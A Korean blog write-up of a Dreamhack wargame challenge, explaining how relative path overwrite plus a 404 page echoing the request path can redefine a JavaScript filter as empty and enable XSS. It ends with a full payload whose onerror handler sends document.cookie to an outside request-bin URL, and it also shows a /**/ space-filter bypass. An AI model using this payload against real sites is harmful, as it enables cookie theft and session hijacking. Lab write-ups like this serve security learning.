security/웹해킹

[Dreamhack Wargame] Relative Path Overwrite Advanced

민사민서 2023. 7. 7. 17:15

문제 분석

- /index.php, /report.php

* 지난 문제와 동일

 

- /static/filter.js : var filter = ["script", "on", "frame", "object"];

 

- /vuln.php

<script src="filter.js"></script>
<pre id=param></pre>
<script>
    var param_elem = document.getElementById("param");
    var url = new URL(window.location.href);
    var param = url.searchParams.get("param");
    if (typeof filter === 'undefined') {
        param = "nope !!";
    }
    else {
        for (var i = 0; i < filter.length; i++) {
            if (param.toLowerCase().includes(filter[i])) {
                param = "nope !!";
                break;
            }
        }
    }

    param_elem.innerHTML = param;
</script>

취약점: 상대경로로 스크립트 파일 불러옴(RPO 위험) , innerHTML을 이용해 user-input 받아옴 (XSS 위험)

if (typeof filter === 'undefined') 통과하고 filter 안의 단어들 필터링도 통과해야 user input을 넣을 수 있음

=> <img src=x onerror=alert(1)> 이런 이벤트핸들러 기반 XSS 발생시키자

 

- 000-default.conf

RewriteEngine on
RewriteRule ^/(.*)\.(js|css)$ /static/$1 [L]

ErrorDocument 404 /404.php

404 Not Found error 발생 시 /404.php 파일을 띄워줌

URL rewrite rule을 정의해두었지만 활성화시키진 않은 듯?

 

- 404.php

<?php 
    header("HTTP/1.1 200 OK");
    echo $_SERVER["REQUEST_URI"] . " not found."; 
?>

user input path (URI) 그대로 출력해줌

 

문제 풀이

일단 /?page=vuln&param=dreamhack 을 입력해 vuln.php 페이지를 불러와보았다

- 에러 메시지를 보면 filter.js 에서 SyntaxError 발생

- <script src="filter.js"></script> 코드에서 /filter.js 파일을 로드하여 /404.php 파일이 리턴되고, 따라서 "/filter.js not found."가 스크립트로 해석되려다 에러 발생

 

슬래시 1개 추가하면 js에선 주석이잖아?!
URL에서 슬래시 2개 이상이어도 단일 슬래시와 동일하게 해석하므로 slash 1개 추가해보았다- 서버는 /?page=vuln&param=dreamhack 이라고 제대로 해석하지만- 브라우저는 현재 디렉토리를 // 라고 인식하고 //filter.js를 로드하려 시도한다. "//filter.js not found."가 스크립트로 해석됨

 

=> 문법적인 오류 없이 <script src="filter.js"></script> 코드를 실행시키는데에는 성공!

 

다음으로, URL rewrite 적용 여부를 확인해보았다

/index.php 를 입력하나 /index.php/12345를 입력하나 index.php 페이지를 리턴한다

서버와 브라우저 해석 차이

- 서버는 /index.php/var filter=[]에 대해 /var filter=[] 를 무시하고 index.php 파일 리턴

- 브라우저는 /index.php/ 디렉터리 안에 'var filter=[]' 파일이 있는 것으로 해석. 하지만 내용은 index.php 네요 ㅋㅋㅋ

 

=> 중요한 점은 /index.php 뒤의 경로가 서버에서는 무시되지만 브라우저에서는 하위 디렉토리로 해석된다!

 

- 내가 입력한 URI + "/filter.js not found"가 스크립트 파일로 해석되므로 var filter=[] 같은 script code를 경로에 집어넣을 수 있음

- /index.php/i; 이런 식으로 올바른 문법의 정규표현식으로 만들어주었다

- 공백이 %20으로 인코딩되어가길래 /**/ 주석으로 공백 우회를 해주었다

https://g-idler.tistory.com/61

 

[SQL Injection] 필터링 우회 방법 모음

1. 공백 문자 우회 1) Line Feed (\n) - 커서(캐럿)를 다음 줄(현재 위치에서 바로 아래줄)로 이동시키는 개행 문자 - URL Encoding: %0a - ex) no=1%0aor%0aid='admin' 2) Tab (\t) - 커서를 한 tab만큼 이동시키는 문자 -

g-idler.tistory.com

// 다양한 공백우회 방법

 

=> 로드된 filter.js에 아무런 문법적 오류가 없고, filter도 빈 리스트로 정의되어있으므로 param으로 건네준 user input은 아무런 필터링을 거치지 않고 HTML에 삽입된다

 

/index.php/i;var/**/filter=[];//?page=vuln&param=<img src=x onerror=location.href="[Request Bin]/?"+document.cookie>